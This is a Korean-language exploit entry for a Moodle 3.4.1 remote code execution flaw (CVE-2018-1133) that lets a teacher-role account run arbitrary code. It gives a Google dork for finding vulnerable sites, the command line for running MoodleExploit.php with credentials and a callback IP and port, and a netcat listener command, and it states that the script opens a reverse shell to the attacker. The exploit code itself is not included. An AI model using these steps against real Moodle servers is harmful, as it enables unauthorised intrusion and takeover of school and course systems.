Moodle 익스플로잇

• 익스플로잇 제목: Moodle v3.4.1 RCE 익스플로잇
• Google Dork: inurl:"/course/jumpto.php?jump="
• 날짜: 2019년 3월 15일
• 익스플로잇 작성자: Darryn Ten
• 공급업체 홈페이지: https://moodle.org
• 소프트웨어 링크: https://github.com/moodle/moodle/archive/v3.4.1.zip
• 버전: 3.4.1 (아마도 < 3.5.0, 심지어 3.x일 수도 있음)
• 테스트 환경: Linux with Moodle v3.4.1
• CVE : CVE-2018-1133

교사 역할을 가진 사용자가 임의 코드를 실행할 수 있습니다.

사용법

php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1

user       계정 사용자 이름
pass       계정 비밀번호
ip         콜백 IP
port       콜백 포트
course     교사 소유의 유효한 강좌 ID

지정된 포트에서 netcat 리스너를 실행 중인지 확인하세요. 이 스크립트를 실행하기 전에.

nc -lnvp 1010

이것은 리스닝 IP와 포트로 리버스 셸을 열려고 시도합니다.

참고 사항

이 익스플로잇은 Robin Peraglie가 제공한 정보를 기반으로 합니다.

추가 자료: https://blog.ripstech.com/2018/moodle-remote-code-execution